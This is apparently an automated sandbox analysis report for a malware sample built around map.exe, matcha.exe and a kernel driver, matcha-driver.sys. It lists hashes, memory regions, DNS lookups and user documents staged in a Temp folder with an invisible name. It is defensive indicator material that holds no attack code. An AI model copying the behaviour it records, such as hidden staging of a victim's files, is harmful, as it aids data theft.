SHA512 e2315cc149d5c0a04fb9e7e664e60be96509f3f9104d2cd6aaf964858418764b46c9504603e614492cd63bb37b82788f5a4961529972898eeacfe2037a4565cd

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

C:\Users\Admin\AppData\Local\Temp\RESADB5.tmp

MD5 1c8072f5a9ad00b345ac9371ff19c715
SHA1 cd38e241291accd0abfebc3355303216b55f7419
SHA256 23f8d1587174d1bfc3893796b1a0561d59c1d3d755fce4765a34f53086e799d3
SHA512 ba81fb7520126f9d7246d960d8d8bc57f67f915766a48f62e5328f69f9f0fb270186053e9af9df6758bf8aa431fd65e7354a7123b1931bf5462c4394badc238b

C:\Users\Admin\AppData\Local\Temp\zx4tasnf\zx4tasnf.dll

MD5 918a84afca7d57f4acc96b74c2d78148
SHA1 eceb9ae5fb4f4977babee1940e1d40fcfa42fe39
SHA256 3dfda1c2468ed42c1aa3796c9fc7635fdce058371783f81d40cfb6efdfc5e8d3
SHA512 8c06ead70a5e59e5724ef0dd0e1872ea7028b2ebf6e8533a234bf678f461843279e3d56930a99c543f2bcc1005aaa5faf88a854c89cd18b1ce2936235541e280

memory/2756-210-0x000002CAA1060000-0x000002CAA1068000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 4df4ef707a4d881224b023b119b108e2
SHA1 4e7043ec19dd7d0398b8d59db5f56e96f3c65fa1
SHA256 40b88b00fed4f927b1c8e77beffac4df496ef4f4c768ba8fb751a9cb415ece61
SHA512 54dc66e0cc4bddd984b849d99a505b9639f87bd4beaec4fc2301fbe128bb9168e9c43f2aeed1fa5828b8785ebc7d668c4b2fb1cfa2218f57fe59355d0511f669

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

memory/3504-270-0x00007FFCD6110000-0x00007FFCD6129000-memory.dmp

memory/3504-272-0x00007FFCD6050000-0x00007FFCD607E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Desktop\BackupResolve.tif

MD5 abae5960ef5032371e8694044bc53d51
SHA1 f9e48ca5afc6f345692f6a9c36ad3746edc6ed6b
SHA256 0d203bf32e9ba84817d4a018a963d11ea0edd02551963f62413087b204995d2f
SHA512 da7ae85dadc7cde0ae2471611f33ad881f872f22d7473a58b51143b3b260ca78d54710774d703b724f60bd6cf71296939c2b48a749e20f23701ba2575cbc6e49

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Desktop\ConfirmFind.xlsx

MD5 f7b8db4708f1ba4bddb1a44fa94c11b2
SHA1 b08f43f1c47bd00c1d47512ae4835a36dc6527d8
SHA256 fea694dc69117c6c65e157ae4d98d8c3b9d5f2960cc1c2376d6ae2772cf548dc
SHA512 f83da12e377abc9c6e306bdf378cc311c368cba4d0157ffce63eca81c1ae6566eac078deca5ebf02baac01661eb45df4efb22788b5e9e870b905d63a2b96a20c

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Desktop\GetDisable.docx

MD5 4896db090649b1edfacc35cea2203e44
SHA1 6fb90a1e1bb79497b4547b26515244fb4f362e1b
SHA256 51fa75e57763b83fd837c992e6de164d5384903d597d0b6ada94e43e910d9e8e
SHA512 a022e3f9a82cf0629ded25610bc0686e1f547fc0a95062f0bf6309146c91bb7a9b7c79fe10978cffde40941f65a4cea65bffab54c7b0e2f4299e1ef638f9ae45

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Desktop\LimitBackup.easmx

MD5 05d60c79543bcdd645f804ff3dd16a19
SHA1 ec13ac50b53fbb6fbcbefd2ec9e8cf3efde2b24e
SHA256 1e986c8a6ab2dc8e8dc2145bf49d1f5fb02efa640f260c367d236be6f34000cd
SHA512 29ace7590f2b0a5a0aea039201dfebfc4c52a9684e9e5e014fe0acbec5dfe25812c6e0da7c3ee1921c4efadc8afa1d1cf0f89b179d0248ce431b1831368c199e

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Desktop\StartPush.docx

MD5 968470d4b7a8960dce99c29757fff7b9
SHA1 8b9ff2e817602bf89e7701a414a01abf7db24b0a
SHA256 02e865be74e41e32d546b99f507c4152f93a4f3ca178360104bb0d4502a7e285
SHA512 8e64cba32247502d0665aaf11cfdd13424c78fd87a80638d42b26a4cf4a52e9ed81f815365dea1810211e4895e32039e4325917663079dd140d60125c8acd701

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Desktop\SyncRename.docx

MD5 8a5d33a42548c0caa8f8b6387b3f2735
SHA1 41f91c998f1f6f61761a942d417773a34463661a
SHA256 bc1d4bc8d31ed9cf443596fc88175efbac474cf72962ace0beec9e9552a5cbae
SHA512 51c90f3787f9f7ba8aafb3d5aad7f124d5fc57e646010cd4cd52b183cf94bfe71b2071117108a502a20b5a6a2eeb0d332559165550386c9de248380e99eebc06

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Desktop\UnlockOptimize.docx

MD5 9fe50593275a9b30f7c40eceb2bd7266
SHA1 eb26e42d6d168f28a259f611efbe46164b56c62a
SHA256 dbf49cc769de9f894fbfe9befcda7c027c1d941089278cdd2592b421037111ab
SHA512 297414e988abf9da82e1864a8432bfc6e7c91ec49caae7a824e40e1c917eb372178600f06339b1cc2b571fc70c6620be8bea2fcad46d2a58b3d22c2e0a7b56ba

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Desktop\UnprotectInstall.docx

MD5 6ee39dd18f7b7628fa24bebcd35dd204
SHA1 5d79ee0140dad5cac445ad76f4e017286906c9e9
SHA256 f440bac13266fe79d0c747599d71ecb8c0f62ce0397cc00ac1c261420da0c73f
SHA512 ba3eac2e633c0666c99cc17b7b2fe89d1c9f7815967dd842e5aa2a77fb3e20a138cae11a71e6350ad4e0657af6a8b845805f80b3382c5de5ffc96ec29af3e8b6

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Documents\EnterSend.txt

MD5 ff42208ebb23f26640ad86774c5faddd
SHA1 42f6035c51e7d4b5b66a37aeeb429d7bdfa7a064
SHA256 674289211a29523c90b5201b839c5db3e3352d4a078c4e61a219e2609d08ef3a
SHA512 d7d0fff8cc55da5ccd0d7ccfd7b384ce39e2aaece68c14e25fe313dd6fdead07c1c8f8be655d678140335f1e964e0edd603e55bad61dc3999faae02d39793d9e

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Documents\PopPing.xlsx

MD5 26eb858643ae8434de6b5a9d01a440b8
SHA1 29d012ae80545e1ca545ddc05525f7077d4638a3
SHA256 572710f3e2c55e48112f37d85c0cd74953a1aa6b3f09a1dc4538e18d94c8fc42
SHA512 a25cb294a8d8c1d416c1d561f67b213b9eccf96ec9dd4c076b04969d84a20ba088ec78dd6b81ef4da63aaa5aa7479b99b34921e977652e734839533415d9077b

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Documents\RegisterLimit.xlsx

MD5 47b613ec475a0cc9c5a5aaf5dc16909b
SHA1 95e2e0d11f6ffda02353d58791ef140194dbf616
SHA256 d6f608d4d366f1338e7f7ee3ec8e73e3734407bd48376cb63fca3b3799968c08
SHA512 641c25cc96f99c3af1e8c442a1e6f2743394a9acb23b905ce998a18d4fe301c0c1f871cbc8e8de9cc0abaf638b8b6e76a4f4bb4ead193c87ce286887b1ba0fe6

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Documents\RenameConnect.txt

MD5 e482ec6e51dc0e773ed6cac93ca3c654
SHA1 8cdf063681e3b26f9a21c3edd9ad41ba0565085c
SHA256 a4e10320e1117a4af9197ddd2f514050797f069bb5aee26487c4896b9f589b89
SHA512 d1060546ec6a665d383ef3e0f66d97a7b74dc1083623cf3cbc645a7462e76dfdf9cb7e0fd81b6bb8af270b03b9055bf2fefc0ecc1557b6fca47fb0c5ebc7c0db

C:\Users\Admin\AppData\Local\Temp\    ‏‌    \Common Files\Documents\SwitchDismount.pdf

MD5 5d5238249506649b4f4b66249c81a0f5
SHA1 1fe37ce857de6b913b25151eef370e8a2ce315ff
SHA256 7be3f91b57e851be45d7434fe721e5afb3f90933831c4048ea4e2256da461dd7
SHA512 c47c876bee3fd24971a0c0b5791074f8a988946d6471f30a56028aee6bee25b731d4224bbad12e0d3fd2f3dcaa0b014bccea07ddefc4050c7d587626a4a89a0d

memory/3504-290-0x00007FFCD6B90000-0x00007FFCD6C48000-memory.dmp

memory/3504-291-0x00000206C1DC0000-0x00000206C2135000-memory.dmp

memory/3504-301-0x00007FFCC7360000-0x00007FFCC76D5000-memory.dmp

memory/3504-313-0x00007FFCC7FC0000-0x00007FFCC85AA000-memory.dmp

memory/3504-327-0x00007FFCC8730000-0x00007FFCC884C000-memory.dmp

memory/3504-319-0x00007FFCC77B0000-0x00007FFCC791F000-memory.dmp

memory/3504-314-0x00007FFCDAF70000-0x00007FFCDAF93000-memory.dmp

memory/3504-328-0x00007FFCC7FC0000-0x00007FFCC85AA000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-11-10 04:28

Reported

2024-11-10 04:32

Platform

win7-20240903-en

Max time kernel

122s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\mapper\map.exe"

Signatures

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\mapper\map.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\mapper\map.exe

"C:\Users\Admin\AppData\Local\Temp\mapper\map.exe"

Network

N/A

Files

memory/1292-0-0x000000013F6F6000-0x000000013FA53000-memory.dmp

memory/1292-1-0x0000000077BF0000-0x0000000077BF2000-memory.dmp

memory/1292-6-0x000000013F6D0000-0x000000013FF8E000-memory.dmp

memory/1292-10-0x000000013F6D0000-0x000000013FF8E000-memory.dmp

memory/1292-9-0x000000013F6F6000-0x000000013FA53000-memory.dmp

memory/1292-5-0x0000000077BF0000-0x0000000077BF2000-memory.dmp

memory/1292-3-0x0000000077BF0000-0x0000000077BF2000-memory.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2024-11-10 04:28

Reported

2024-11-10 04:32

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\mapper\map.exe"

Signatures

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\mapper\map.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mapper\map.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\mapper\map.exe

"C:\Users\Admin\AppData\Local\Temp\mapper\map.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/2940-0-0x00007FF7D7226000-0x00007FF7D7583000-memory.dmp

memory/2940-1-0x00007FF8DAF90000-0x00007FF8DAF92000-memory.dmp

memory/2940-2-0x00007FF7D7200000-0x00007FF7D7ABE000-memory.dmp

memory/2940-6-0x00007FF7D7200000-0x00007FF7D7ABE000-memory.dmp

memory/2940-5-0x00007FF7D7226000-0x00007FF7D7583000-memory.dmp

Analysis: behavioral5

Detonation Overview

Submitted

2024-11-10 04:28

Reported

2024-11-10 04:32

Platform

win10v2004-20241007-en

Max time kernel

93s

Max time network

133s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\mapper\matcha-driver.sys

Signatures

N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\mapper\matcha-driver.sys

C:\Users\Admin\AppData\Local\Temp\mapper\matcha-driver.sys

C:\Users\Admin\AppData\Local\Temp\mapper\matcha-driver.sys

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-11-10 04:28

Reported

2024-11-10 04:32

Platform

win7-20240903-en

Max time kernel

121s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\matcha.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\matcha.exe

"C:\Users\Admin\AppData\Local\Temp\matcha.exe"

Network

N/A

Files

N/A

Analysis: behavioral7

Detonation Overview

Submitted

2024-11-10 04:28

Reported

2024-11-10 04:32

Platform

win10v2004-20241007-en

Max time kernel

95s

Max time network

139s

Command Line

"C:\Users\Admin\AppData\Local\Temp\matcha.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\matcha.exe

"C:\Users\Admin\AppData\Local\Temp\matcha.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp

Files

N/A